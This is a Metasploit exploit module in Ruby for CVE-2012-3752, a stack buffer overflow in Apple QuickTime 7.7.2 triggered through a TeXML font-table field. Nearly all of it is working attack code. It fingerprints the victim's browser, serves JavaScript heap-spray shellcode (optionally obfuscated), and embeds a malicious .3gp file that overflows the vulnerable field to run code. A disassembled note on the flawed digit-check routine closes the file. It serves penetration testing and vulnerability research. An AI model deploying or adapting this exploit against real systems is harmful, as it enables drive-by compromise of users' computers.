modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :os_name => OperatingSystems::Match::WINDOWS,
# :javascript => true,
# :rank => NormalRanking
#})
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability found in Apple QuickTime. When handling
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
gain arbitrary code execution under the context of the user. This is due to the
QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
font-table field, which is used to trigger the overflow in this module. Because of
QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
},
'Author' =>
[
'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
'juan vazquez' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '87087' ],
[ 'CVE', '2012-3752' ],
[ 'BID', '56557' ],
[ 'URL', 'http://support.apple.com/kb/HT5581' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
'Space' => 1000,
},
'Platform' => 'win',
'Targets' =>
[
# Tested with QuickTime 7.7.2
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', {} ],
[ 'Firefox 3.5 on Windows XP SP3', {} ],
[ 'Firefox 3.5.1 on Windows XP SP3', {} ]
],
'Privileged' => false,
'DisclosureDate' => '2012-11-07',
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
])
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
browser_name = ""
if agent =~ /MSIE/
browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''
browser_name = "IE #{browser_version}"
elsif agent =~ /Firefox\/3.5$/
browser_name = "Firefox 3.5 "
elsif agent =~ /Firefox\/3.5.1$/
browser_name = "Firefox 3.5.1"
elsif agent =~ /Opera\/9/
browser_name = "Opera"
end
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def on_request_uri(client, request)
return if ((p = regenerate_payload(client)) == nil)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
if request.uri =~ /\.3gp/
print_status("Sending exploit TEXML (target: #{my_target.name})")
my_payload = "1" * (1024*16)
texml = <<-eos
<?xml version="1.0"?>
<?quicktime type="application/x-quicktime-texml"?>
<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
language="eng" timeScale="600"
transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
<sample duration="2400" keyframe="true">
<description format="tx3g" displayFlags="ScrollIn"
horizontalJustification="Left"
verticalJustification="Top"
backgroundColor="0%, 0%, 0%, 100%">
<defaultTextBox x="0" y="0" width="176" height="60"/>
<fontTable>
<font id="1" name="Times"/>
</fontTable>
<sharedStyles>
<style id="1">
{font-table: #{my_payload}}
{font-style:normal}
{font-weight: normal}
{font-size: 10}
{line-height: 100%}
{text-align: right}
{text-decoration: underline}
{color: 100%, 100%, 100%, 100%}
{backgroundcolor: 100%, 100%, 100%, 100%}
</style>
</sharedStyles>
</description>
<sampleData scrollDelay="200"
highlightColor="25%, 45%, 65%, 100%"
targetEncoding="utf8">
<textBox x="10" y="10" width="156" height="40"/>
<text styleID="1">What you need... Metasploit!</text>
<highlight startMarker="1" endMarker="2"/>
<blink startMarker="3" endMarker="4"/>
</sampleData>
</sample>
</text3GTrack>
eos
send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })
else
print_status("Sending initial HTML")
url = ((datastore['SSL']) ? "https://" : "http://")
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
url << ":" + datastore['SRVPORT'].to_s
url << get_resource
fname = rand_text_alphanumeric(4)
#ARCH used by the victim machine
arch = Rex::Arch.endian(my_target.arch)
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
code = Rex::Text.to_unescape(payload.encoded, arch)
randnop = rand_text_alpha(rand(100) + 1)
# Spray puts payload on 0x31313131
if my_target.name =~ /IE/
spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{code}");
var #{randnop} = "#{nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, 0x800 - code.length);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=0; i < 1600; i++) {
heap_obj.alloc(block);
}
JS
#Use heaplib
js_spray = heaplib(spray)
#obfuscate on demand
if datastore['OBFUSCATE']
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
js_spray.obfuscate(memory_sensitive: true)
end
else
js_spray = <<-JS
var shellcode = unescape("#{code}");
var #{randnop} = "#{nops}";
var bigblock = unescape(#{randnop});
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
JS
end
content = "<html>"
content << <<-JSPRAY
<head>
<script>
#{js_spray}
</script>
</head>
JSPRAY
content << "<body>"
content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC" VALUE = "#{url}/#{fname}.3gp">
<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.3gp">
<PARAM name="AUTOPLAY" VALUE = "true" >
<PARAM name="TYPE" VALUE = "video/quicktime" >
<PARAM name="TARGET" VALUE = "myself" >
<EMBED
SRC = "#{url}/#{fname}.3gp"
QTSRC = "#{url}/#{fname}.3gp"
TARGET = "myself"
WIDTH = "1"
HEIGHT = "1"
AUTOPLAY = "true"
PLUGIN = "quicktimeplugin"
TYPE = "video/quicktime"
CACHE = "false"
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
ENDEMBED
content << "</body></html>"
send_response(client, content, { 'Content-Type' => "text/html" })
end
end
end
=begin
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)
int __fastcall sub_67EED2B0(int a1, int a2)
{
int result; // eax@1
unsigned __int8 v3; // cl@2
for ( result = 0; ; ++result )
{
v3 = *(_BYTE *)a2++ - 0x30;
if ( v3 > 9u )
break;
}
return result;
}
=end